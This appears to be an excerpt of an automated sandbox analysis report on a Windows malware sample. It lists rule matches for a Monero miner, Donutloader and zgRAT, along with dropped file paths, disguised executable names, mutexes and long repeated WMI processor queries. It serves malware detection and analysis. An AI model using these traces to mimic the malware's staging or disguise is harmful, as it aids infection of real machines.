Source: 24.3.sys_updater.exe.21e034544fd.2.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 9.3.IIZS2TRqf69aZbLAX3cf3edn.exe.234d5ad04cd.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 24.3.sys_updater.exe.21e034544fd.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 9.3.IIZS2TRqf69aZbLAX3cf3edn.exe.234d5ad10e5.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 31.3.sys_updater.exe.20e49503455.3.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 27.3.sys_updater.exe.159f35a4885.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 31.3.sys_updater.exe.20e4950304d.2.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 31.3.sys_updater.exe.20e494ac50d.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 31.3.sys_updater.exe.20e494ac915.1.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 0000001B.00000003.2794263235.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000009.00000003.2181775167.00000234D5AAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000018.00000003.2693194416.0000021E0319A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000018.00000003.2692757034.0000021E034D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 00000018.00000003.2692958541.0000021E0318C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: 8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.f363d4.1.raw.unpack, CursorBuffer.cs	Cryptographic APIs: 'TransformBlock'
Source: 8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.fbb9d4.3.raw.unpack, WindowsToolkit.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.evad.mine.winEXE@69/36@0/6

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

Code function: 0_2_005DA330 CoInitializeEx,CoInitializeSecurity,CoUninitialize,CoCreateInstance,CoUninitialize,SysAllocString,SysFreeString,SysFreeString,CoSetProxyBlanket,CoUninitialize,SysAllocString,SysAllocString,SysFreeString,SysFreeString,CoUninitialize,VariantClear,VariantInit,VariantClear,CoUninitialize,

0_2_005DA330

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe

File created: C:\Users\user\AppData\Roaming\rZ9zgPTn

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5740:120:WilError_03
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6328:120:WilError_03
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Mutant created: \Sessions\1\BaseNamedObjects\f3b3de9e353268524740ab3df9b4ee37
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\23495762359867
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\349587345342
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Mutant created: \Sessions\1\BaseNamedObjects\93ec2b129ecfa430ebf98f

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

File created: C:\Users\user\AppData\Local\Temp\23495762359867

Jump to behavior

Source: RPHbzz3JqY.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
